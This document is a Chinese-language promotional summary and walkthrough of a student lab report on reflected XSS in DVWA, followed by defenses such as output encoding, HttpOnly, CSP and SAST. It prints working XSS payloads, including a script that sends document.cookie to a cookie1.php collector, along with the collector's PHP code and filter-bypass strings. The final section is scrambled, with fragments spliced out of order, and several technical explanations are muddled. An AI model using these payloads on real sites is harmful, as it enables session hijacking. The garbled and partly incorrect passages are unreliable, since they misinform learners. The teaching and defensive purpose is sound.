简介：本资源为山西警察学院信息安全专业《软件安全》课程的反射型XSS专项实验报告，面向高校网络安全初学者、渗透测试入门学习者及Web安全实践教学场景。报告完整呈现了从漏洞原理认知、DVWA低安全级环境搭建（含VMware+Windows+PHPStudy+DVWA配置）、到三阶段实操（XSS弹窗验证、Cookie窃取展示、恶意脚本回传至cookie1.php服务器端记录）的全过程，附有详细步骤截图、代码片段与防御措施总结。资源为单文件Word文档（.docx），共1个文件，大小735KB，内容结构规范，含实验综述、过程记录、结果分析及教师评语，适合作为教学范例、实训参考或自学复盘材料。目前已有132人学习下载，可直接用于课程作业提交、安全实验复现或XSS防护方案设计参考。
1. 反射型 XSS：为什么一个 URL 参数就能让浏览器执行任意代码？
你有没有试过，在浏览器地址栏里输入一串带<script>的 URL，回车之后——页面没变，但弹出了一个alert(1)？更吓人的是，下一秒，你的 Cookie 就被悄悄发到了攻击者服务器上。这不是玄学，也不是浏览器 bug，而是反射型 XSS（Reflected XSS）在真实世界里最赤裸的“执行权移交”：用户本该只读 HTML 的浏览器，突然开始执行攻击者通过 URL 注入的 JavaScript，且全程不经过服务端存储、不依赖持久化漏洞，纯靠一次请求+一次响应完成闭环。这份由袁卓霞同学完成的实验报告，表面看是一份教学文档，实则是一份可复现、可调试、可逆向的「XSS 执行链快照」——它完整记录了从 URL 构造、服务端未过滤、HTML 直接拼接、浏览器解析执行，到敏感数据外泄的全链路。很多人以为 XSS 是“老掉牙”的漏洞，但直到你亲手用document.location=把document.cookie发出去，并在cookie.txt里看到明文PHPSESSID=xxx，才会真正理解：Web 安全的防线，从来不是建在防火墙后面，而是建在每一行echo $_GET['name']和每一个<div>Hello <?php echo $_GET['name']; ?></div>的字符边界上。这份.docx不是作业存档，而是一把解剖刀，切开了现代 Web 应用中最基础、也最容易被忽视的信任崩塌点。
2. 反射型 XSS 的执行链：从 URL 到 alert() 的四步不可跳过
反射型 XSS 的“反射”二字，绝非修辞。它精准描述了数据流向：用户输入 → 服务端接收 → 未经处理直接嵌入 HTML 响应 → 浏览器解析执行 → 结果返回给用户（即“反射”回同一用户）。这个链条里任何一环加固，都会导致攻击失败。而 DVWA 的 low 安全等级，正是刻意拆除了所有加固环节，让我们能看清每一步的原始状态。
2.1 第一步：URL 参数如何成为脚本执行的“引信”
在 DVWA 的反射型 XSS 页面中，URL 形如：http://localhost/DVWA-master/vulnerabilities/xss_r/?name=<script>alert("1")</script>
关键在于?name=后的内容。DVWA 的 PHP 后端代码（位于vulnerabilities/xss_r/source/low.php）实际逻辑极简：
<?php // low.php 核心逻辑（简化后） $name = $_GET['name']; // 直接获取 URL 参数，不做任何过滤 ?> <div class="message"> <h2>Hello <?php echo $name; ?></h2> <!-- 直接 echo 进 HTML --> </div>这里没有htmlspecialchars()，没有htmlentities()，没有正则过滤<script>，甚至没有对引号做转义。$_GET['name']的原始字符串被原封不动地拼进 HTML 的<h2>标签内。当浏览器收到响应时，HTML 解析器看到的是：
<h2>Hello <script>alert("1")</script></h2>它不会去“判断这是不是用户输的”，它只按规范解析：遇到<script>标签，立即启动 JS 引擎执行其内容。这一步的本质，是服务端把“用户输入”和“HTML 结构”混为一谈，放弃了语义隔离。name参数本应是纯文本数据，却被当作 HTML 片段的一部分渲染——就像把一段 C 语言源码直接喂给 CPU 执行，而不是先编译。
2.2 第二步：浏览器如何“信任”这段来自 URL 的脚本
很多人误以为 XSS 是服务端漏洞，其实浏览器才是最终执行者。而浏览器的执行逻辑，完全遵循 HTML5 规范中的“解析器插入模式”（Parser Insertion Mode）。当解析器在<h2>标签内遇到<script>开始标签时，会立即切换到“脚本数据状态”（Script Data State），暂停 HTML 解析，将后续字符（直到</script>）作为 JS 代码交给 JS 引擎。这个过程不校验来源、不检查签名、不询问用户——因为规范就是这么设计的：HTML 文档内的<script>标签，天然拥有执行权。
更关键的是，这个执行发生在受害者自己的浏览器上下文中。alert("1")运行时，它的document对象指向当前页面，window对象拥有全部 DOM 操作权限，document.cookie可被读取，XMLHttpRequest可发起请求。攻击者不需要控制服务器，只需要让受害者访问一个特定 URL，就能借其浏览器之手，完成所有恶意操作。这就是为什么反射型 XSS 能绕过绝大多数服务端 WAF——WAF 拦截的是请求体，而这里的恶意载荷，藏在 URL 的 query string 里，且服务端根本没把它当“代码”处理。
2.3 第三步：从弹窗到 Cookie 窃取——执行权的升级路径
alert("1")只是验证存在性；真正的危害在于后续的 JS 能力调用。实验中使用的alert(document.cookie)是典型的数据泄露起点：
<script>alert(document.cookie)</script>但alert()只是显示，无法外传。要实现窃取，必须触发网络请求。实验中构造的 payload 是：
<script>document.location='http://localhost/DVWA-master/cookie1.php?cookie='+document.cookie;</script>这里利用了document.location的副作用：赋值给location会立即触发页面跳转。浏览器将document.cookie的明文值（如security=low; PHPSESSID=abc123）拼接到 URL 中，然后向cookie1.php发起 GET 请求。cookie1.php的代码（见报告第 4 页）则简单粗暴地将$_GET['cookie']写入文件：
<?php $cookie = $_GET['cookie']; // 接收 URL 中的 cookie 参数 $fp = fopen('cookie.txt', 'a'); // 以追加模式打开文件 fwrite($fp, "my cookie is:".$cookie."\n"); // 明文写入 fclose($fp); ?>整个链路无加密、无校验、无日志审计——它暴露的不仅是 Cookie，更是整个 Web 应用对“输入即可信”的默认假设。而document.location的跳转行为，是浏览器赋予 JS 的合法能力，攻击者只是将其用于非预期目的。这种“能力滥用”比“代码注入”更值得警惕：你无法禁止浏览器支持location，只能确保它永远收不到恶意参数。
2.4 第四步：为什么“反射”意味着无痕与高欺骗性
反射型 XSS 的“无痕”体现在两方面：一是服务端无日志留存（payload 不入库、不写文件），二是浏览器历史记录中只留下那个看似正常的 URL。攻击者常将恶意 URL 缩短、伪装成“成绩查询链接”或“系统通知”，诱导点击。一旦受害者访问，JS 执行、Cookie 发送、跳转完成，整个过程在 200ms 内结束，页面可能只闪一下就回到原样，用户毫无感知。而服务端cookie1.php收到的请求，来源 IP 是受害者的机器，User-Agent 是其浏览器，看起来就像一次普通访问——它不触发异常告警，不产生可疑日志，却完成了最核心的凭证窃取。这种“合法行为下的非法目的”，正是反射型 XSS 在钓鱼攻击中长期有效的原因。
3. 防御机制的底层逻辑：为什么 htmlspecialchars() 不是万能解药？
防御反射型 XSS 的核心思路是：切断“用户输入”与“HTML 解析器执行环境”的直接连接。但实现方式千差万别，效果也天壤之别。htmlspecialchars()是 PHP 中最常用的函数，但它背后的设计取舍，决定了它是否真能守住防线。
3.1 htmlspecialchars() 的工作原理与严格模式选择
htmlspecialchars()的本质是HTML 实体编码。它将特殊字符转换为对应的 HTML 实体，使浏览器将其视为纯文本而非标记。例如：
| 原始字符 | HTML 实体 | 浏览器渲染效果 |
|---|---|---|
< | < | 显示为<字符，不开启标签 |
> | > | 显示为>字符，不关闭标签 |
" | " | 显示为"字符，不结束属性 |
' | ' | 显示为'字符（需ENT_QUOTES） |
关键参数是$flags。DVWA 的 low 级别代码之所以脆弱，正是因为没用这个函数；而若仅用默认参数：
echo htmlspecialchars($_GET['name']); // 默认 ENT_COMPAT，不转义单引号则攻击者可绕过：
<input value='<?php echo htmlspecialchars($_GET['name']); ?>'> <!-- 若输入：' onfocus=alert(1) autofocus=' --> <!-- 渲染后： <input value='' onfocus=alert(1) autofocus=''> --> <!-- 单引号被保留，成功闭合 value 属性，注入事件 -->因此，必须显式指定ENT_QUOTES | ENT_HTML5：
echo htmlspecialchars($_GET['name'], ENT_QUOTES | ENT_HTML5, 'UTF-8');这会同时转义双引号和单引号，并适配 HTML5 解析规则，堵住属性注入缺口。
3.2 输出上下文决定编码策略：不能只靠一个函数
htmlspecialchars()只适用于输出到 HTML 文本节点或属性值内。但 Web 应用的输出场景远不止于此。实验中cookie1.php的代码：
$cookie = $_GET['cookie']; // ... 写入文件这里$_GET['cookie']是直接写入文件，不经过 HTML 渲染。此时htmlspecialchars()完全无效——你需要的是文件系统安全：检查文件名合法性、限制写入路径、使用白名单过滤。同理，若将用户输入拼入 SQL 查询（如SELECT * FROM users WHERE name = '{$_GET['name']}'），htmlspecialchars()也毫无作用，必须用预处理语句。
更隐蔽的是JavaScript 上下文。假设页面中有：
<script> var name = "<?php echo $_GET['name']; ?>"; </script>此时htmlspecialchars()无法防止 XSS，因为"被转义后变成"，但在 JS 字符串中，"仍是普通文本，而</script>仍会关闭 script 标签。正确做法是JSON 编码 + JS 字符串转义：
<script> var name = <?php echo json_encode($_GET['name'], JSON_UNESCAPED_UNICODE); ?>; </script>json_encode()会自动处理引号、反斜杠、Unicode，并确保输出是合法的 JSON 字符串，被 JS 引擎安全解析。
3.3 HTTPOnly Cookie：从源头剥夺 JS 访问权
即使 XSS 漏洞存在，document.cookie也不该轻易被读取。HTTPOnly属性是 Cookie 的“防 JS 访问锁”。当服务端设置 Cookie 时：
setcookie('PHPSESSID', $sid, [ 'httponly' => true, // 关键：JS 无法读取 'secure' => true, // 仅 HTTPS 传输 'samesite' => 'Lax' // 防 CSRF ]);浏览器会严格遵守：document.cookie返回空字符串，XMLHttpRequest也无法通过document.cookie获取。实验中能读到 Cookie，正是因为 DVWA 的 low 级别禁用了HTTPOnly（security=low模式下，所有 Cookie 均无此属性）。这不是防御失效，而是主动放弃了一道纵深防线。生产环境必须默认开启HTTPOnly，这是成本最低、收益最高的防护措施之一。
3.4 CSP（Content Security Policy）：浏览器端的“白名单宪法”
当所有服务端过滤都失效时，CSP 是最后一道闸门。它通过 HTTP 响应头告诉浏览器：“只允许执行来自这些源的脚本，其他一律拒绝”。例如：
Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline' 'unsafe-eval';但注意：'unsafe-inline'会允许<script>alert(1)</script>执行，所以必须移除：
Content-Security-Policy: default-src 'self'; script-src 'self';此时，实验中的所有<script>payload 都会被浏览器拦截，并在控制台报错：
Refused to execute inline script because it violates the following Content Security Policy directive: "script-src 'self'".CSP 的强大在于它不依赖服务端对输入的识别，而是由浏览器强制执行策略。即使攻击者绕过所有 PHP 过滤，只要 CSP 头存在且配置正确，<script>就无法执行。但 CSP 的落地难点在于：它要求所有内联脚本（包括 jQuery 的$(...).click(...)）必须改为外部文件或使用nonce，这对老旧系统是重构级成本。
4. 常见问题排查：那些让开发者抓狂的 XSS “幽灵”现象
反射型 XSS 的调试常陷入“明明加了过滤，为什么还弹窗？”的困境。以下是基于 DVWA 实验和真实项目踩坑总结的 4 类高频问题，每一条都对应一个具体可验证的场景。
4.1 现象：htmlspecialchars()加了，但<img src=x onerror=alert(1)>依然触发
原因：htmlspecialchars()只编码文本内容，但onerror是 HTML 属性内的 JS 事件处理器。当输入被插入到<img>标签的属性中时，onerror的值本身就是一个 JS 执行上下文。htmlspecialchars()会把onerror编码成onerror，但浏览器解析时，onerror=后的内容仍被当作 JS 执行。
解决：必须根据输出位置选择编码方式。若输出到 HTML 属性，需用htmlspecialchars($input, ENT_QUOTES)；若输出到<script>内，则必须用json_encode()；若输出到 URL 参数（如href="xxx?name=<?php echo urlencode($input); ?>"），则必须用urlencode()。没有万能编码函数，只有万能上下文意识。
4.2 现象：低安全模式下弹窗，但改成 medium 后alert(1)不执行，<img src=x onerror=alert(1)>却可以
原因：DVWA medium 级别的过滤逻辑是正则匹配并移除<script>标签，但未过滤onerror等事件属性。这是典型的“关键词黑名单”缺陷：攻击者只需用大小写混淆（<ScRiPt>）、添加空格（<script >）、或使用替代标签（<img>、<svg>）即可绕过。
解决：永远不要用黑名单过滤 HTML/JS 关键字。应采用白名单：只允许纯文本，或使用成熟的 HTML 过滤库（如 HTMLPurifier），它基于 DOM 解析，能识别所有变体。
4.3 现象：document.location=跳转后，cookie.txt为空
原因：document.location跳转时，浏览器会发送 GET 请求，但document.cookie包含HttpOnlyCookie（如PHPSESSID）时，该 Cookie 不会随document.location请求发送。实验中能写入，是因为 DVWA low 模式下 Cookie 无HttpOnly属性；若在 medium/high 模式下测试，document.cookie返回的只是非HttpOnly的部分（如security=low），而PHPSESSID不在其中。
解决：验证 Cookie 窃取时，先用浏览器开发者工具的 Application 标签页确认document.cookie的实际内容；若需窃取HttpOnlyCookie，必须结合其他漏洞（如 CSRF 或服务端日志注入），单纯 XSS 无法做到。
4.4 现象：本地测试正常，上线后alert()不弹，但控制台报错Uncaught SyntaxError: Invalid or unexpected token
原因：用户输入中包含换行符（\n）或中文引号（“”），而 PHP 的echo直接输出到<script>标签内时，未进行 JSON 编码。JS 引擎解析时，换行符导致语法错误，整个脚本中断。
解决：所有输出到<script>内的变量，必须用json_encode()包裹：
<script> var userInput = <?php echo json_encode($_GET['name'], JSON_UNESCAPED_UNICODE); ?>; console.log(userInput); // 安全输出 </script>json_encode()会自动转义换行、引号、Unicode，生成合法 JS 字符串。
5. 深度防御设计：从“修复漏洞”到“消除漏洞温床”的思维跃迁
看过 DVWA 的 low、medium、high 三级实现，你会发现一个残酷事实：所有“修复”本质上都是在打补丁，而非重构信任模型。low 级别不做过滤；medium 级别用正则删 这种设计将安全从“开发者义务”变为“框架契约”：只要不用 一个经典误区是：“我在登录接口校验了用户名长度，所以搜索框就不用过滤了”。这是混淆了输入验证（Input Validation）和输出编码（Output Encoding）的职责。输入验证回答：“这是合法的用户名吗？”——它保证数据符合业务规则（如长度、格式）。输出编码回答：“这个数据在 HTML 中如何安全显示？”——它保证数据不破坏目标上下文的语法。两者不可替代。DVWA 实验中， 人工审查 这些工具的价值，不是取代开发者思考，而是把“应该过滤”的认知，固化为 CI/CD 流水线中的一个必过门禁。当 从那以后我每次写 PHP 输出逻辑，都强制走一遍 本文还有配套的精品资源，点击获取<script>；high 级别用htmlspecialchars()加str_replace()清除事件属性。它们共同的问题是：把安全责任压在开发者对“哪里要过滤”的记忆上，而人类永远会漏掉某个<textarea>的value属性，或某个><!-- Blade 模板 --> <h2>Hello {{ $name }}</h2> <!-- 自动转义 --> <h2>Hello {!! $name !!}</h2> <!-- 显式不转义，需开发者主动选择 -->{!! !!}，<script>就永远是文本。DVWA 的原始 PHP 代码之所以脆弱，正是因为 PHP 本身没有模板层抽象，echo是裸露的、无上下文的输出指令。引入 Twig 或 Blade，等于在代码层面植入一道“转义保险丝”，熔断点就是开发者显式声明“此处需要原始 HTML”。5.2 输入验证与输出编码的职责分离：谁该为安全负责？
name参数的输入验证可能是“非空”，但这丝毫不影响它在<h2>中被解析为脚本。安全必须分层：输入层做业务校验，输出层做上下文编码，中间层（如数据库）做存储安全。5.3 自动化检测：用工具代替人眼审查每一行 echo
echo $_GET是不可持续的。成熟团队会集成 SAST（静态应用安全测试）工具：echo、print、printf调用，标记风险行。<script>alert(1)</script>并捕获响应，生成漏洞报告。git push触发构建时，若扫描发现新出现的未转义echo，流水线直接失败——安全不再是 review 时的口头提醒，而是代码提交时的硬性阻断。grep -r "echo \$_" . | grep -v "htmlspecialchars"——不是为了找漏洞，而是训练肌肉记忆：看到echo，第一反应不是“怎么显示”，而是“怎么安全显示”。这种条件反射，比记住十个正则表达式更可靠。希望帮到你。
